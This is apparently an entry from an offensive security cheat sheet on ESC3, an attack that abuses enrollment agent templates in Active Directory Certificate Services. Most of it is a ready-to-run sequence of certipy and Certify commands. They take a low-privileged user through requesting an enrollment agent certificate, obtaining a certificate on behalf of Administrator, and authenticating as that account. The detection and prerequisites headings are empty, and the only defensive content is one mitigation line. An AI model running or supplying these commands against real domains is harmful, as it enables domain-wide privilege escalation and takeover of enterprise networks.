🟢 Attack #29 — ESC3: Certificate Request Agent

📖 How It Works

ESC3 exploits the Certificate Request Agent (Enrollment Agent) EKU. A template with this EKU allows the enrolled user to request certificates on behalf of other users. If a low-privileged user can enroll for an Enrollment Agent certificate, they can then use it to request a Client Authentication certificate for any user in the domain — including Domain Admins.

Two-Step Attack

1. Enroll for a certificate with "Certificate Request Agent" EKU (Template A)
2. Use that certificate to request a Client Auth cert on behalf of Administrator (Template B)
3. Authenticate as Administrator using the resulting certificate

⚙️ Prerequisites

💻 Full Commands

# ── Enumerate ─────────────────────────────────────────────────────────────────
certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout
# Look for: ESC3 — Certificate Request Agent template

# ── Step 1: Get enrollment agent certificate ─────────────────────────────────
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -template EnrollmentAgentTemplate -dc-ip 10.10.10.10

# ── Step 2: Request cert on behalf of Administrator ──────────────────────────
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -template User -on-behalf-of 'corp\Administrator' \
  -pfx low_user.pfx -dc-ip 10.10.10.10

# ── Step 3: Authenticate ──────────────────────────────────────────────────────
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

# ── Certify ───────────────────────────────────────────────────────────────────
.\Certify.exe request /ca:CORP-CA /template:EnrollmentAgentTemplate
# Convert to PFX, then use for on-behalf-of requests

🛡️ Detection — Event IDs

🔗 Attack Chain Context

[ESC3] ──→ Enrollment Agent → request certs as any user
         │
         ├──→ 🔗 Similar to ESC2 but with explicit Enrollment Agent EKU
         └──→ 💀 Defeated by: restrict enrollment agent templates, require approval

✅ Attack #29 — ESC3 complete.